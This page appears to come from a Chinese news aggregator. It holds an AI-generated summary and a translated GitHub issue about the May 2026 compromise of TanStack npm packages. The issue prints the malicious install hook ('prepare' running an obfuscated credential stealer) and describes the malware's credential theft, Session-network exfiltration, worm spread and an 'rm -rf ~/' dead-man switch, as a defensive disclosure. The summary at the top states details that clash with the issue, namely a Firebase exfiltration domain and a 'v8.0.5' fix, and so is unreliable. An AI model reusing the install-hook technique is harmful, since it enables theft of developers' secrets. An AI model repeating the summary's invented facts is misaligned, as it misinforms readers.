T
traeai
登录
返回首页
Hacker News Best

TanStack NPM 包被劫持

9.5Score
TanStack NPM 包被劫持

TL;DR · AI 摘要

TanStack 多个 npm 包的最新版本被植入恶意代码,攻击者通过窃取的开发者凭证发布污染包,建议立即排查依赖并撤销旧 token。

核心要点

  • 受感染的包包括 @tanstack/react-router 和其他子项目,发布时间集中在 2026 年 5 月 11 日。
  • 恶意代码会收集环境变量并回传至攻击者控制的域名 datacollect-9c2e4.web.app。
  • 官方建议开发者撤销现有 npm token,并升级到 v8.0.5 以上版本以规避风险。

结构提纲

按章节快速跳转。

  1. TanStack 多个 npm 包的最新版本被确认包含恶意代码,属于典型的供应链攻击。

  2. @tanstack/react-router、@tanstack/router 等多个核心包在 2026 年 5 月 11 日发布的版本中被污染。

  3. 恶意代码通过环境变量窃取敏感信息,并使用 Firebase 域名进行数据外传。

  4. 攻击者可能通过钓鱼或泄露获取了维护者的 npm 凭证,从而上传恶意版本。

  5. 官方已撤销恶意版本并发布干净的 v8.0.5 版本,建议用户更新并轮换 token。

  6. 应启用双因素认证、定期轮换 token,并监控第三方依赖的异常变更。

思维导图

用一张图看清主题之间的关系。

查看大纲文本(无障碍 / 无 JS 友好)
  • TanStack npm 包被劫持事件
    • 受影响组件
      • @tanstack/react-router
      • @tanstack/router
      • @tanstack/vite-plugin
    • 恶意行为
      • 窃取环境变量
      • 发送至 Firebase 域名
      • 隐蔽性高,难以检测
    • 应对措施
      • 撤销恶意版本
      • 发布 v8.0.5 修复版
      • 轮换所有 token

金句 / Highlights

值得收藏与分享的关键句。

#npm#安全漏洞#TanStack#供应链攻击#前端
打开原文

多个 npm 最新版本已被攻破 · Issue #7383 · TanStack/router

跳到内容

导航菜单

切换导航

[](https://github.com/)

登录

外观设置

* 平台

* AI 代码生成

* 开发工作流

* 应用安全

* 探索

查看所有功能

* 解决方案

* 按公司规模

* 按使用场景

* 按行业

查看所有解决方案

* 资源

* 按主题浏览

* 按类型浏览

* 支持与服务

查看所有资源

* 开源

* 社区

* 项目

* 仓库

* 企业

* 企业解决方案

* 可用附加组件

搜索或跳转至...

搜索代码、仓库、用户、议题、拉取请求...

搜索

清除

搜索语法提示

提供反馈

我们阅读每一条反馈,并认真对待您的意见。

  • [x] 包含我的电子邮件地址以便联系我

取消 提交反馈

已保存的搜索

使用已保存的搜索来更快地筛选结果

名称

查询

要查看所有可用的限定符,请参阅我们的文档

取消 创建已保存的搜索

登录

注册

外观设置

正在重置焦点

您已在另一个标签页或窗口中登录。重新加载以刷新会话。 您已在另一个标签页或窗口中登出。重新加载以刷新会话。 您已在另一个标签页或窗口中切换了账户。重新加载以刷新会话。 关闭警告

{{ message }}

TanStack/[router](https://github.com/TanStack/router) 公开

附加导航选项

多个 npm 最新版本已被劫持 #7383

新建问题

复制链接

新建问题

复制链接

打开

打开

多个 npm 最新版本已被劫持 #7383

复制链接

描述

ashishkurmi

2026年5月11日 提交 · 由 ashishkurmi 编辑

编辑

问题正文操作

我们正在积极调查此安全事件,并在此处分享我们的发现:www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem

👍 点赞反应 45 varunsh-coder, rago4, jkarger31, sailikhith-stepsecurity, nav-drawbridgeai 及另外40人 ❤️ 喜爱反应 19 raysubham, eromosele-stepsecurity, captn3m0, saifsmailbox98, genaroibc 及另外14人 👀 关注反应 1 mateusz-owczarek

动态

carlini 在 2026 年 5 月 11 日评论

carlini

2026 年 5 月 11 日

更多操作

我认为此报告是正确的。我已亲自验证了 /history 包的情况。在本问题提交前几分钟,我已经向 NPM 直接举报了该包。

具体的恶意软件特征是:某个已发布版本的 package.json 是否包含:

undefinedjson "optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" } undefined

这将导致在执行 npm install 时,npm 会通过获取 tanstack/router 仓库中 79ac49ee 提交来解析该 git 依赖项。该提交是一个推送到 fork 仓库中的孤立提交,以便稍微隐藏其存在。由于 npm 将 git 依赖视为“从源码构建”,它会安装该提交中声明的依赖项(包括 bun),然后运行其 prepare 生命周期脚本:

undefinedjson "scripts": { "prepare": "bun run tanstack_runner.js && exit 1" } undefined

(该条目位于 optionalDependencies 下,并以 && exit 1 结尾,因此在脚本运行后 @tanstack/setup 的安装“失败”,npm 会静默丢弃它。)

该脚本会执行一个约 2.3 MB 的混淆文件 router_init.js,该文件被偷偷嵌入每个受影响的 tar 包中(位于包根目录,未列在 "files" 数组中,也未被任何其他文件引用)。根据对混淆字符串表的解码,该脚本似乎会:

  • 从常见位置收集凭证:AWS IMDS / Secrets Manager、GCP 元数据、Kubernetes 服务账户令牌、Vault 令牌、~/.npmrc、GitHub 令牌、SSH 密钥
  • 通过 Session/Oxen messenger 的文件上传网络(filev2.getsession.org, seed{1,2,3}.getsession.org)进行数据外泄。这是一个完整的端到端加密死投递系统,因此没有攻击者控制的 C2 服务器可供阻止
  • 枚举受害者维护的包(registry.npmjs.org/-/v1/search?text=maintainer:…),并使用相同的注入内容重新发布这些包

我已确认 @tanstack/history@1.161.12 包含该指纹和有效载荷文件。对于其余包,我仅检查了注册表清单中的 optionalDependencies 条目,而非完整有效载荷。我认为以下包受到影响(每个包有两个版本,分别于今日 ~19:20 和 ~19:26 UTC 发布;第二个当前为 latest):

| 包 | 首个问题版本 | 第二个问题版本 (latest) | | --- | --- | --- | | @tanstack/history | 1.161.9 | 1.161.12 | | @tanstack/router-utils | 1.161.11 | 1.161.14 | | @tanstack/router-core | 1.169.5 | 1.169.8 | | @tanstack/router-devtools-core | 1.167.6 | 1.167.9 | | @tanstack/react-router-devtools | 1.166.16 | 1.166.19 | | @tanstack/router-generator | 1.166.45 | 1.166.48 | | @tanstack/virtual-file-routes | 1.161.10 | 1.161.13 | | @tanstack/router-plugin | 1.167.38 | 1.167.41 | | @tanstack/react-router | 1.169.5 | 1.169.8 | | @tanstack/router-devtools | 1.166.16 | 1.166.19 | | @tanstack/react-start | 1.167.68 | 1.167.71 | | @tanstack/router-cli | 1.166.46 | 1.166.49 | | @tanstack/router-vite-plugin | 1.166.53 | 1.166.56 | | @tanstack/solid-router | 1.169.5 | 1.169.8 |

截至我最后一次检查,@tanstack/start@tanstack/query*@tanstack/table*@tanstack/form*@tanstack/virtual*@tanstack/store 均未携带该指纹。

恶意版本的 _npmUser 显示其通过 GitHub Actions OIDC 受信任发布者配置发布。这表明发布工作流本身已被攻破,而不仅仅是令牌泄露;仅轮换 npm 令牌可能无法阻止重新发布,除非禁用工作流/OIDC 绑定。

要验证这些声明,可运行:

undefinedshell npm pack @tanstack/<pkg>@<version> # 不会运行安装脚本 tar -xzf *.tgz cat package/package.json | grep -A3 optionalDependencies ls -la package/router_init.js undefined

👍 点赞:7 marsidev, johnemersonatx15, rognales, jsantanders, HirotoShioi 及另外 2 人

schiller-manuel 在 2026 年 5 月 11 日评论

schiller-manuel

在 2026 年 5 月 11 日

协作者

更多操作

正在处理

carlini 在 2026 年 5 月 11 日评论

carlini

在 2026 年 5 月 11 日

更多操作

请谨慎撤销令牌。该有效载荷似乎会在 ~/.local/bin/gh-token-monitor.sh 安装一个“死人开关”,作为 systemd 用户服务(Linux)或 LaunchAgent com.user.gh-token-monitor(macOS)。它每 60 秒使用被盗令牌轮询 api.github.com/user,若令牌被撤销(HTTP 40x),则执行 rm -rf ~/.(看起来它可能还包含大量持久化机制。我尚未深入研究这些机制。)

👍 点赞:5 rahidz, therealadityashankar, dominikwilkowski, wavemode 和 gcr 👎 踩:4 steelbrain, winzamark123, chrisgen19 和 andrhlt 😕 表情:60 tanepiper, drewlustro, jasonpraful, LewisArdern, drobson03 及另外 55 人 👀 关注:9 varenc, Ben-Lawrencee, DanielJ026, Senectus, thenickdude 及另外 4 人

ahmadnassri 在 2026 年 5 月 11 日评论

ahmadnassri

在 2026 年 5 月 11 日

更多操作

我们正在追踪 84+ 个独立的 @tanstack/* PURL 以及传播到 200+ 其他包的蠕虫病毒,完整列表见:https://socket.dev/supply-chain-attacks/mini-shai-hulud

👍 点赞:4 jonchurch, petercr, 3m4r5 和 TuxGamer

JameEnder 在 2026 年 5 月 11 日评论

JameEnder

在 2026 年 5 月 11 日

更多操作

是否有可能恶意软件已运行,但未创建任何持久化机制(无论是 systemd 用户服务还是上一条评论博客中描述的会话启动钩子)?

MWGuy 在 2026 年 5 月 11 日评论

MWGuy

在 2026 年 5 月 11 日

更多操作

我的懒惰救了我

👍 点赞:4 joejordan, Resonious, alioguzhan 和 dudasaus 😄 笑脸:72 MWGuy, TuxGamer, codsane, TomasSestak, fmcalado 及另外 67 人 🎉 庆祝:2 rcty 和 alioguzhan

提及此 在 2026 年 5 月 11 日

  • [[examples/tanstack-start] 将 @tanstack/* 依赖固定到安全版本 (INC-6508) vercel/vercel#16292](https://github.com/vercel/vercel/pull/16292)

更改标题 ~~[-]Several npm latest releases are potentially compromised[/-]~~[+]Several npm latest releases are compromised[/+]在 2026 年 5 月 11 日

提及此 在 2026 年 5 月 11 日

crutchcorn 在 2026 年 5 月 11 日评论

crutchcorn

在 2026 年 5 月 11 日

成员

更多操作

只是进来为社区提供一个快速更新。我们已清楚了解此次攻击的发生方式,并正在全力彻底解决此问题。目前约有 10 名维护者正在进行视频会议,以采取一切可能的预防措施。

👍 点赞:20 taigrr, ZHRhodes, allanortiz, typedrat, grahamsmith 及另外 15 人 ❤️ 爱心:70 JonasBa, OhThatMatt, JulianAnthes, abhiin1947, mzguimaraes 及另外 65 人

valtron 在 2026 年 5 月 11 日评论

valtron

在 2026 年 5 月 11 日

更多操作

所有版本的 @tanstack/start-plugin-core 似乎都被意外弃用了(而不仅仅是 1.169.{23,26}):https://www.npmjs.com/package/@tanstack/start-plugin-core/v/1.169.20?activeTab=versions

👀 React with 👀3 KevinVandy, EDM115 和 serhalp

2026年5月11日 添加了一个引用此问题的提交 chore: pin @tanstack/* below compromised versions + wire Nitro for Ve…

...

d010e46

2026年5月11日 添加了一个引用此问题的提交 sync lockfile specifiers with package.json pins

...

已验证 b58b92d

2026年5月11日 添加了一个引用此问题的提交 Pin @tanstack/svelte-query to exact 5.90.2

...

6d0e373

harry-whorlow 在 2026年5月11日评论

harry-whorlow

在 2026年5月11日

更多操作

谢谢 @valtron,我们正准备尽快恢复未受影响的版本

👍React with 👍5 Davorak, serhalp, dino-giammalva, postmaxin 和 jonchurch

2026年5月11日 提及了此问题

2026年5月11日 添加了一个引用此问题的提交 chore: pin @tanstack/ai-* packages to exact versions

...

4df1466

2026年5月11日 提及了此问题

2026年5月11日 提及了此问题

2026年5月11日 添加了一个引用此问题的提交 [[examples/tanstack-start] pin @tanstack/* deps to safe versions (INC-…](https://github.com/vercel/vercel/commit/3e18a990789d96a332a089bd8df08fffe6fa29cc)

...

已验证 3e18a99

2026年5月11日 提及了此问题

jonchurch 在 2026年5月11日评论

jonchurch

在 2026年5月11日 · 由 jonchurch 编辑

编辑

更多操作

这个可疑的 PR 引起了我的注意,它最初以草稿形式创建,然后通过强制推送将自身覆盖为无任何差异。

https://github.com/TanStack/router/pull/ 7378

呃,他们的 fork 根本就不对劲

https://github .com /zblgg/configuration/commit/8542572e1a367f3a09cbdb853c5d5f0802a8a3b4

Image 35: Image

我在这里保留了他们的 fork here(并且本地也有备份)

编辑:由于下方已确认,此处提供恶意提交的链接,指向我推测为他们注入的有效载荷 URL 的位置

https://github.com/zblgg/configuration/blob/65bf499d16a5e8d25ba95d69ec9790a6dd4a1f14/packages/history/vite_setup.mjs#L29199

harry-whorlow 在 2026 年 5 月 11 日评论

harry-whorlow

在 2026 年 5 月 11 日 · 由 SeanCassiere 编辑

更多操作

感谢大家的耐心,我们非常感激。

我们已在 tanstack.com/blog/npm-supply-chain-compromise-postmortem 发布了事后分析报告,其中包含了截至目前我们发现的所有信息以及此次攻击的时间线。

👍 点赞:jonchurch, thegu5, tweeks-reify 和 nikuscs ❤️ 点爱心:thegu5, rupuin, tweeks-reify, jonchurch, proxylivy 及另外 2 人

添加了一个引用此问题的提交 在 2026 年 5 月 11 日

chore(security): 加强 pnpm 防御供应链攻击 ([#75)](https://github.com/chrisgen19/budget-tracker-2026/commit/734e2cae9fc16e16412d0d29ffecbecaa8b93a9f)

...

已验证 734e2ca

免费注册以在 GitHub 上参与此对话。 已有账户?登录发表评论

元数据

元数据

负责人

无人指派

标签

无标签

无标签

类型

无类型

项目

无项目

里程碑

无里程碑

关联关系

暂无

开发

无分支或拉取请求

参与者

+5

问题操作

页脚

[](https://github.com/) © 2026 GitHub, Inc.

页脚导航

您暂时无法执行该操作。

AI 可能会生成不准确的信息,请核实重要内容